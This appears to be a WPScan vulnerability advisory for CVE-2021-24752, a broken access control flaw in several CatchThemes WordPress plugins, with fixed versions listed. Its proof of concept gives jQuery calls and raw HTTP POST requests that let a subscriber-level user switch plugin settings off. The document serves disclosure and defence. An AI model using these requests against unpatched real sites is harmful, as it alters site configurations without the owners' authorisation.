WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Multiple Plugins from CatchThemes - Unauthorised Plugin's Setting Change

Description

Multiple Plugins from the CatchThemes vendor do not perform capability and CSRF checks in the ctp_switch AJAX action, which could allow any authenticated users, such as Subscriber to change the plugin's configurations.

Proof of Concept

1) Turn off "Turn On Catch Themes & Catch Plugin tabs"

jQuery.post(ajaxurl,{
action:"ctp_switch",
option_name:"theme_plugin_tabs",
value:"false"
})

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close
Cookie: [subscriber+]

action=ctp_switch&option_name=theme_plugin_tabs&value=false

2) Turn off "EW: Authors"

jQuery.post(ajaxurl,{
action:"ew_switch",
option_name:"ew_authors",
value:"false"
})

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close
Cookie: [subscriber+]

action=ew_switch&option_name=ew_authors&value=false
 

Affects Plugins

essential-widgets
Fixed in version 1.9
to-top
Fixed in version 2.3
header-enhancement
Fixed in version 1.5
generate-child-theme
Fixed in version 1.6
essential-content-types
Fixed in version 1.9
catch-web-tools
Fixed in version 2.7
catch-under-construction
Fixed in version 1.4
catch-themes-demo-import
Fixed in version 1.6
catch-sticky-menu
Fixed in version 1.7
catch-scroll-progress-bar
Fixed in version 1.6

References

CVE
CVE-2021-24752

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID
181a729e-fffe-457c-9e8d-a4343fd2e630

Timeline

Publicly Published

2021-09-20 (about 1 years ago)

Added

2021-09-20 (about 1 years ago)

Last Updated

2022-04-08 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us